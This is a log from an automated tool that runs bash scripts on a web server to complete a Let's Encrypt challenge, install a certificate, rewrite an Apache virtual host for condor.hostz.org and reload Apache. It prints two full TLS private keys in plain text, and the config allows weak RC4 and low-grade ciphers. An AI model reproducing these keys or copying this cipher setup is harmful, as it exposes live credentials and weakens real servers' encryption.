zXARfPhHJIK8VYF/Xa+snicCAwEAAaOCAi8wggIrMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUuBHK5scLmp+OZJTbS4WkkiajmpowHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzArBgNVHREEJDAighAqLnBhdGllbnRhcHBzLmNvgg5w
YXRpZW50YXBwcy5jbzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOg
IaAfhh1odHRwOi8vcjEzLmMubGVuY3Iub3JnLzM0LmNybDCCAQMGCisGAQQB1nkC
BAIEgfQEgfEA7wB1AA3h8jAr0w3BQGISCepVLvxHdHyx1+kw7w5CHrR+Tqo0AAAB
mTI2EI4AAAQDAEYwRAIgcK7L33tsnn7aWNx+IhqY/qXYnjnfLH4I2/twQ8TTjdQC
IEY/0Hwx9YtX4Ba/F5L0d0Vk7kzZVAP7oPoAG6eOQqONAHYAEvFONL1TckyEBhnD
jz96E/jntWKHiJxtMAWE6+WGJjoAAAGZMjYQhQAABAMARzBFAiBUpy1OmWQCVfeQ
rEbGhW5KzcFaunj4Wr+WPagWk6GNlgIhAOaNoU8QlZWm2DIZq65IYszPwGid7e/4
9NLXJrdD+MZsMA0GCSqGSIb3DQEBCwUAA4IBAQAlGP/4UDrL0ooaamG40mIS2Rpn
RekfQtH50wRpTdz+sThC6aoMsSaj4/BeY4XZpZYuQAOflip0fJZvs7SgSxHrG8xc
uF0WpLEmViwA37jMaPofPfn50KFxwJu6rn6W6BeoaoCTXSNWwzt6KPmm00YWsGvP
Jc4nI8tsD08V19EplPntmzRH4MBq+RY5srI1klYdkOmOlKAuAMG3gV8EY8smDqAj
eZX6nvfY4g6b7CwLkswsr5BCMk2Fyzex1Kel7mcG0wbR6rNmpZYq4hfG1qkbCJb9
5uh4NpPjXqenWJvrpGJGLRcZiPp3uDSgFA3hX20OEoZC6Vwa5TaaJbuCxd/w
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCsq2DtbOFZLJIO
WJzBWn1yxsKMHCubHOmp3cwVq5lwW+KqH7b6+DYoDF0HqbvmjkrOdowU3Kgavx/6
oXw2gDNnq8taXQI6Pa9b0MxjyZfCU+OUHzgEztpWRW/i7O9noWWQknR6F7IcjrtU
+U1k+Cww0BKmMkXvTuc8rFQYcf5+BGhfYIr5OuSc6ZU9G3hwqbt2TcupD0oxyoSf
luR6YsBoaH+5lENgeRHL01u1/Nc0zON+Brl18pbprghLGysWR2HIAvTNEsXRzaTp
bT3Gl9sHUR/fSOAFyUidrbZ+3VADaZN0RWTw6yXAcQEtaAqWJ81wEXz4RySCvFWB
f12vrJ4nAgMBAAECggEAFcc/4HJdMewnN9wBWXnaXMGpBBcBgPzyk9Q/y3PrVHqi
aia544mu+vokObU01+2Wjdfx7yetpEH6/JelnRIqaacHbQxSHZpuJbx+Kw/gLkh6
adJONH0KmNsFM7ACuiVnNAbk3gljE6sFAcC3/EY4/Kch0wiAPaDMFaD+sl6eZLJg
jcnvUrIW8ZXuD23vVvopNwvyYVnVlDFl7VL5vyA1oTGivA1VFD8NyPzG89LuGRBG
PqfpkzXwghJJg0N9OpXQXFCXoIHZzy2yZL14pYO7/6v36QKRGK0lizpYzwFBO3CK
yMYJRALtZOn+ypSVHzovwawh0IlY6NqZslPnan/zkQKBgQDZ4QByjc4YoTN4p/9H
8goiU8GWH5qPDK6y2SqcvxNNLgaAETLDQJxK9Ic1ohQ9/IDiYTh5v1Kt3pCGmX9k
BeUbuGiGc5ldul82icBO3MfgieS1tM6mnazbhYL4oZKDY9cMOFn+qsaTjBa1Oqdt
UdHdSjz+vUuNk6baMUTTOdSDmwKBgQDK4WcvIduel0dff343psa9FcCBMCGT/2sp
Viirg8BIQoUPJwwMrjKQNU5Br0JKbouToofA4u1YOerqA/VUCckwgG3lzHOywoa5
ni16jv7xxlQVxc80CpLJnzNZqjB3npacAVxA+/5/AgOW0QOkpMxmVabMAcaV78fK
kYa8T1Y2ZQKBgQDSTxm7eZ3isFeas676p2uYzvgiDMeIJVnMUUuMmfPrn+2uWOuD
BS7YO0j4QEcBvmY6HlYBTuhj5F3lTu1kgzwvkcVzYso7atbVMgprFTnqR7B4pNqE
gdaE308Y5/0gzpKZvRtBc17StXqF3OQX5c6JqEtQKTBwrIF2Q/CHY1762QKBgEIf
lPHXpyzZQXnuo8SfpsaaAFQay9bguJyQaFD+b/0dMSDvKQ44+GHn/cmKxaBcx0En
B/fl/lVzCw2anKr3RYt5UFhFerAYlrCIzWnUkWNbsKwn/JCJoa31JVdkEMfr+EqA
ZwEHILtkfKb7GKTg0X3JDMQREBhuPj/XjoJxmTfBAoGAcJd4a2NUiFyZe4j3QpoH
5JwH86dUAmo6uERIGeZFmzAGuw5no4BdQvZt4KoWIAUvDG0tsdPfpi+IAHu3/cUd
L9FAqoVd5SRRcZuRFpmGL2y2dwaOzeieJGz5+pc6o+9ztO5uwSdz8V8i9Lb2pY5T
fioPSH2h3ocQToel5nqbwVM=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-09-10 06:00:29: Establishing a connection
2025-09-10 06:00:29: Establishing a connection
2025-09-10 06:00:29: 

PUT: /tmp/pkp717121

#!/bin/bash
if [ -d "/var/www/hostz_condor/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-09-10 06:00:30: 

chmod 755 /tmp/pkp717121; /tmp/pkp717121; rm /tmp/pkp717121

2025-09-10 06:00:30: 


1


2025-09-10 06:00:31: Establishing a connection
2025-09-10 06:00:31: 

PUT: /tmp/pkp468667

#!/bin/bash
mkdir -p "/var/www/hostz_condor/.well-known/acme-challenge/"
cd "/var/www/hostz_condor/.well-known/acme-challenge/"
cat > TlXpVXNKkz3k-4c8fK8eZHtxyt-nv-8toa7Ug_iCGnI <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
TlXpVXNKkz3k-4c8fK8eZHtxyt-nv-8toa7Ug_iCGnI.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 TlXpVXNKkz3k-4c8fK8eZHtxyt-nv-8toa7Ug_iCGnI


2025-09-10 06:00:31: 

chmod 755 /tmp/pkp468667; /tmp/pkp468667; rm /tmp/pkp468667

2025-09-10 06:00:31: 




2025-09-10 06:00:37: Establishing a connection
2025-09-10 06:00:37: 

PUT: /tmp/pkp619598

#!/bin/bash
mkdir -p "/var/www/hostz_condor/.well-known/acme-challenge/"
cd "/var/www/hostz_condor/.well-known/acme-challenge/"
rm TlXpVXNKkz3k-4c8fK8eZHtxyt-nv-8toa7Ug_iCGnI


2025-09-10 06:00:37: 

chmod 755 /tmp/pkp619598; /tmp/pkp619598; rm /tmp/pkp619598

2025-09-10 06:00:37: 




2025-09-10 06:00:37: Establishing a connection
2025-09-10 06:00:37: 

PUT: /tmp/pkp326198

#!/bin/bash
temp_file=$(mktemp)
TARGET=452589c154b484450eedc2df554d68f3.crt

cat > $temp_file <<'endmsg'
64:70:b7:71:e3:20:c9:49:80:f7:ba:3f:18:97:76:45

-----BEGIN CERTIFICATE-----
MIIE/DCCA+SgAwIBAgISBZa5crOMbAGBfQyghBxhR03ZMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTEwMDUwMjA2WhcNMjUxMjA5MDUwMjA1WjAbMRkwFwYDVQQD
ExBjb25kb3IuaG9zdHoub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEA7MX9f9VkgB2D6KWk6ZOt9WwOOJ1TaAIZFM4IDdHuW+ZZz+b0ThRbFD3keqyx
+NLEneWIpcrgiZonqIJigaibp1afxkH2NgpRDUUiZUh3YaQp+ZVG6ta+ysiXBbY1
SayDER6L0bF2Yq6YdCVsCI3lkidHBKFyUIRwv2jqO9UuBwcju2eJdlNLSGhX7UEG
NkDDlnGk3aVBze6gtTqKfLUBIqaef906sExhchBitTVTfdWR13f+xnj/26opCDUT
FdAplv1AcDBN1o4NmbNM17frfZexeaAQzFgQlFCeNQbrvCvYkk+N7Qe1usp6N2OK
d/+GaKynrsWnnAlBWiJL+gezVQIDAQABo4ICIDCCAhwwDgYDVR0PAQH/BAQDAgWg
MB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0G
A1UdDgQWBBS6ER/ScHn+/MNADRfbDEw8CXbrYzAfBgNVHSMEGDAWgBTnq58PLDOg
U9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6
Ly9yMTMuaS5sZW5jci5vcmcvMBsGA1UdEQQUMBKCEGNvbmRvci5ob3N0ei5vcmcw
EwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3Ix
My5jLmxlbmNyLm9yZy85MC5jcmwwggEEBgorBgEEAdZ5AgQCBIH1BIHyAPAAdwDt
PEvW6AbCpKIAV9vLJOI4Ad9RL+3EhsVwDyDdtz4/4AAAAZkyNjGeAAAEAwBIMEYC
IQC/fCQtV5EN2Fx130E1eCx4xjO5VdgSpF+RzRS21VY2wgIhAMnUs5J4R36ht11G
nm4rQjNLPSZFEHRwKKOnoVFv/tjLAHUADeHyMCvTDcFAYhIJ6lUu/Ed0fLHX6TDv
DkIetH5OqjQAAAGZMjYxqwAABAMARjBEAiB5V3esieF2FE9ljaebbZ1Q/Iip7FU2
ihRPxYcaSlmLgwIgTTRcRFPeVfg1hxl5gMSXLTtieALIgDp5Ib9l+OEuRfMwDQYJ
KoZIhvcNAQELBQADggEBAKGCH26HeZtvTG9MlBfeDP2jRnLkIFTH5yZKZh5upY6F
5sh2P43PgrDn2FKpc1v2/oegEOcxFiV2A6PKcCn8x1+T44O6iKSXPhQqOmwJ5F1Y
D4aLmRTUoFDM2tzjtQVCWf85mi5onWp/C1QEGC2Uz0QP/nfPVFj7BSw/dA/aQQIz
/87dA9J4vAQVaMDUZFAejXT9VSDvb0ArmTxUbiuyIxzoZDzkJyy8/S+jJVy7NWFU
8SA4oOM5bA9cLEd/CE+LNBnCjqNAyIvUBVDQhjrn2jnh8xvkVMlO/7ju2FFj5mx4
Fap2fZSYR3W2NDylBZdLU3mMCtvQ80TrQMQbZfUgCMw=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDsxf1/1WSAHYPo
paTpk631bA44nVNoAhkUzggN0e5b5lnP5vROFFsUPeR6rLH40sSd5YilyuCJmieo
gmKBqJunVp/GQfY2ClENRSJlSHdhpCn5lUbq1r7KyJcFtjVJrIMRHovRsXZirph0
JWwIjeWSJ0cEoXJQhHC/aOo71S4HByO7Z4l2U0tIaFftQQY2QMOWcaTdpUHN7qC1
Oop8tQEipp5/3TqwTGFyEGK1NVN91ZHXd/7GeP/bqikINRMV0CmW/UBwME3Wjg2Z
s0zXt+t9l7F5oBDMWBCUUJ41Buu8K9iST43tB7W6yno3Y4p3/4ZorKeuxaecCUFa
Ikv6B7NVAgMBAAECggEAQo4tAeAEDhc92wmk35uJjLFBFhzzMwtT7Ys0rF3UeLS5
jj1HcyM5ruju7qTYqi7k4dWBocjzcPqKJ03vTq8Mge9RnjMweGRSAD7sujeyhxnU
SrnxY1XV776O5SYguILrnMZPWzRdKMQXSp6yTX1FiN3NkrmnHob8AnIFVahI9eQ7
d006MgUa/tG0ApYNwQp/M9+T3wc14gA/kHWCmjbwqmpctFfJF6zd4YGrVHrGkfBD
NkYLJrXx6X5R90mWAafHBvRiC5xnUCCdpNK2GXPH7uOIv3Z/elmREKHWhRSbn3jQ
rs8EzggEv11r3GjZ7XQZfHwnfQYsFBtogDFo019zwQKBgQD3SSNwFIskhrQyj039
e879+x4i31T2EnicLtw/ulIbMdogzIRQSTXvKtcmPc987IpJ0pmTvMtbm1XxxngC
Vf+B6zo3of1/B3tJuW5tIYadpZ8a8vTI+fEOf3IRXjvN6dYKVvinptus2NjuxAEE
iL46A6c99SANG0nQ44zhd9QbXQKBgQD1HgQnn1MvWH9+qVKb53AEfzBhlBokhwq3
KuMZbkqfcGjIUIlzJqoWlZsOMHDw0mayZxJCgV3sTFUOoQvlUdBeF9QkEgG9mQRm
P+1XYq09r8o8C+QFPwe27UeecmrxhMl6MQExE/BaRMXIH/f174E8maNVFiVvcqn5
iwparv/wWQKBgFi1XgcY94lU4VO54MpsHacy7G6qGzpjCe1NSil6V3X1/kAB3f1H
Jhf0EFZhmgtAd6Nf70P2WCU2pjAjeG2uGAitL6dBb0SglHOwF5MCkd3/ygHK4lEu
iHEg+vSMD3wgxG3VIUJTMz7gU4HjwlG0FDmPkfFB/At3nJVY6/L+H5LpAoGBALoq
TP+G65gG//ZERcCxO4u+yhEieeSKSCIryYX0FWsY5gxV1r8Fe6Nhhv103yKYunT/
AYhPVvV0WBmfSTinNblxIacvofDNOeEq5mk7QdabH98RLOKrJ4HQn1eBESZUMu3C
MGSE/0Sf/RNs7Ff2ytIq4jlqc448qUolRvzu8uYpAoGAdi7RTJ/c4ce9T+3Xx4oX
/eqiyVprX6NO/q9JxPYN75Uqhbp68FBzen/26PZjVCLwXpYedp8m2KvbiSghMUxj
bGutOTAw5ziIzJC6vnJ04JkphenXAILGJdLDl+xJX3GzAEi30LQVVSxoRrb33mzw
/ObIeeFQlv/E0Y5rSTo2e1k=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-09-10 06:00:37: 

chmod 755 /tmp/pkp326198; /tmp/pkp326198; rm /tmp/pkp326198

2025-09-10 06:00:37: 


dir=/etc/ssl/certs


2025-09-10 06:00:37: 

PUT: /tmp/pkp943602

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hostz_condor_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-09-10 06:00:37: 

chmod 755 /tmp/pkp943602; /tmp/pkp943602; rm /tmp/pkp943602

2025-09-10 06:00:37: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_condor_org.conf 40

<VirtualHost *:80>
    ServerName	condor.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_condor
    <Directory /var/www/hostz_condor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/condor_access.log combined
    ErrorLog	/var/log/apache2/hostz/condor_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	condor.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/452589c154b484450eedc2df554d68f3.crt
    DocumentRoot	/var/www/hostz_condor
    <Directory /var/www/hostz_condor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_condor/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/condor_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/condor_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-09-10 06:00:37: 

PUT: /tmp/pkp746160

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hostz_condor_org.conf
TARGET=/etc/apache2/sites-enabled/hostz_condor_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	condor.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_condor
    <Directory /var/www/hostz_condor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/condor_access.log combined
    ErrorLog	/var/log/apache2/hostz/condor_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	condor.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/452589c154b484450eedc2df554d68f3.crt
    DocumentRoot	/var/www/hostz_condor
    <Directory /var/www/hostz_condor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_condor/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/condor_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/condor_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hostz_condor_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hostz_condor_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hostz_condor_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hostz_condor_org.conf= 1'
fi


2025-09-10 06:00:37: 

chmod 755 /tmp/pkp746160; /tmp/pkp746160; rm /tmp/pkp746160

2025-09-10 06:00:37: 




2025-09-10 06:00:37: 

PUT: /tmp/pkp504307

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-09-10 06:00:37: 

chmod 755 /tmp/pkp504307; /tmp/pkp504307; rm /tmp/pkp504307

2025-09-10 06:00:37: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-10 06:00:37: Establishing a connection
2025-09-10 06:00:37: 

PUT: /tmp/pkp847535

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-09-10 06:00:38: 

chmod 755 /tmp/pkp847535; /tmp/pkp847535; rm /tmp/pkp847535

2025-09-10 06:00:38: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
